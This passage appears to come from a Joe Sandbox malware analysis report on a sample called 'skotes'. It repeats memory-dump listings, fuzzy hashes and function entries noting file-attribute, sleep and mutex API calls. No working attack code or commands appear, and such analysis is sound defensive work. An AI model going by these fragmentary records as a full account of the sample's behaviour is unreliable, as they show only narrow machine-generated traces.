                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: AttributesCreateFileMutexSleep
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 396266464-0
                                                                                                                                                                                                                                                                                    • Opcode ID: bdbc4f605e2bf748983b6146f6ea2a19129ac0a88e7f83a66c91f0b11f01a2c7
                                                                                                                                                                                                                                                                                    • Instruction ID: df74456aedb3d6dabf26c80bc58ea722be425d28c979cac3b6baa068ec01b7d4
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: bdbc4f605e2bf748983b6146f6ea2a19129ac0a88e7f83a66c91f0b11f01a2c7
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 43318831780200CBEB089B78DC8976CBB72EFD131AF608318E8249F6D5C77699888712
                                                                                                                                                                                                                                                                                    Function 0015A418 Relevance: 4.6, APIs: 3, Instructions: 133sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetFileAttributesA.KERNEL32(00000000), ref: 0015A41B
                                                                                                                                                                                                                                                                                    • Sleep.KERNEL32(00000064,?), ref: 0015A963
                                                                                                                                                                                                                                                                                    • CreateMutexA.KERNEL32(00000000,00000000,001B3254), ref: 0015A981
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: AttributesCreateFileMutexSleep
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 396266464-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 52491027f5ad192ecdc59f2d6ee3b96316debd04dd5956b58289b63289fbb1d5
                                                                                                                                                                                                                                                                                    • Instruction ID: 03d8a1d9cc63703cf06373fc662dcb4a5c338d374fbf4e9e0cbda368c409d503
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 52491027f5ad192ecdc59f2d6ee3b96316debd04dd5956b58289b63289fbb1d5
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 9B314831B80100DBEB08ABB8DD89B6DB772EFD1315F644318E8249F2D5D7B559888762
                                                                                                                                                                                                                                                                                    Function 0015A54D Relevance: 4.6, APIs: 3, Instructions: 132sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetFileAttributesA.KERNEL32(00000000), ref: 0015A550
                                                                                                                                                                                                                                                                                    • Sleep.KERNEL32(00000064,?), ref: 0015A963
                                                                                                                                                                                                                                                                                    • CreateMutexA.KERNEL32(00000000,00000000,001B3254), ref: 0015A981
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: AttributesCreateFileMutexSleep
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 396266464-0
                                                                                                                                                                                                                                                                                    • Opcode ID: ab14678a3129f239d87197f393060305e4040cf5123e41ba5e979206776d0c87
                                                                                                                                                                                                                                                                                    • Instruction ID: 68c0edb4a7ca1f6ea9b2c22cf97f6eb7aa492688e9ada414145fc455a513d487
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: ab14678a3129f239d87197f393060305e4040cf5123e41ba5e979206776d0c87
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: A0317731B80100CBEB08EB78DDC9B6DB762EFC1319F648718E8249F2D1D77599998722
                                                                                                                                                                                                                                                                                    Function 0015A682 Relevance: 4.6, APIs: 3, Instructions: 131sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetFileAttributesA.KERNEL32(00000000), ref: 0015A685
                                                                                                                                                                                                                                                                                    • Sleep.KERNEL32(00000064,?), ref: 0015A963
                                                                                                                                                                                                                                                                                    • CreateMutexA.KERNEL32(00000000,00000000,001B3254), ref: 0015A981
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: AttributesCreateFileMutexSleep
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 396266464-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 826e82f7bb600f26887a7744ec13f44200df2e97c748e54d35bf7f3e19530fba
                                                                                                                                                                                                                                                                                    • Instruction ID: 2b0ef6deefc6d2c5dbf6b0464bd0fc0599d795ae404f7c9d4f5facc5f7f567ec
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 826e82f7bb600f26887a7744ec13f44200df2e97c748e54d35bf7f3e19530fba
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: ED318831B80200CBEB08DB78DD99B6DB772EFC5315F648718E8249F2D1C77699888762
                                                                                                                                                                                                                                                                                    Function 0015A7B7 Relevance: 4.6, APIs: 3, Instructions: 130sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetFileAttributesA.KERNEL32(00000000), ref: 0015A7BA
                                                                                                                                                                                                                                                                                    • Sleep.KERNEL32(00000064,?), ref: 0015A963
                                                                                                                                                                                                                                                                                    • CreateMutexA.KERNEL32(00000000,00000000,001B3254), ref: 0015A981
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
